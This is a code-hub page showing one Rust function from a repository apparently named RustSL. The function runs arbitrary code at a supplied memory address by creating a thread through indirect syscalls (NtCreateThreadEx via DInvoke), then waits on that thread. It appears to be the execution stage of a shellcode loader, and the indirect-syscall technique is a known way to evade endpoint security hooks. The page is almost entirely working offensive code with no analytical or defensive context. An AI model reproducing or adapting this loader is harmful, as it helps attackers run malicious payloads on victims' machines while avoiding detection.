MCPcopy Create free account
hub / github.com/echQoQ/RustSL / exec

Function exec

src/exec/create_thread_syscall.rs:28–83  ·  view source on GitHub ↗
(p: usize)

Source from the content-addressed store, hash-verified

26) -> i32;
27
28pub unsafe fn exec(p: usize) -> Result<(), String> {
29 const THREAD_ALL_ACCESS: u32 = 0x001F_0FFF;
30
31 // Indirect syscall via DInvoke: dynamically build and run the syscall stub.
32 let function_type: NtCreateThreadEx;
33 #[allow(unused_assignments)]
34 let mut status: Option<i32> = None;
35 let mut thread_handle = HANDLE(0);
36
37 dinvoke::execute_syscall!(
38 "NtCreateThreadEx",
39 function_type,
40 status,
41 &mut thread_handle as *mut HANDLE, // ThreadHandle
42 THREAD_ALL_ACCESS, // DesiredAccess
43 ptr::null_mut(), // ObjectAttributes
44 HANDLE(-1isize as isize), // ProcessHandle (GetCurrentProcess)
45 p as *mut c_void, // StartAddress
46 ptr::null_mut(), // Parameter
47 0, // CreateFlags
48 0, // ZeroBits
49 0, // StackSize
50 0, // MaximumStackSize
51 ptr::null_mut(), // AttributeList
52 );
53
54 if status == Some(0) {
55 // Wait via indirect syscall NtWaitForSingleObject (Alertable = FALSE, Timeout = NULL => INFINITE)
56 let wait_function_type: NtWaitForSingleObject;
57 #[allow(unused_assignments)]
58 let mut wait_status: Option<i32> = None;
59
60 dinvoke::execute_syscall!(
61 "NtWaitForSingleObject",
62 wait_function_type,
63 wait_status,
64 thread_handle,
65 0u8, // Alertable = FALSE
66 ptr::null_mut(), // Timeout = NULL => infinite
67 );
68
69 if wait_status == Some(0) {
70 Ok(())
71 } else {
72 Err(match wait_status {
73 Some(code) => format!("NtWaitForSingleObject failed with status: 0x{:x}", code),
74 None => "NtWaitForSingleObject syscall execution failed".to_string(),
75 })
76 }
77 } else {
78 Err(match status {
79 Some(code) => format!("NtCreateThreadEx failed with status: 0x{:x}", code),
80 None => "NtCreateThreadEx syscall execution failed".to_string(),
81 })
82 }
83}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected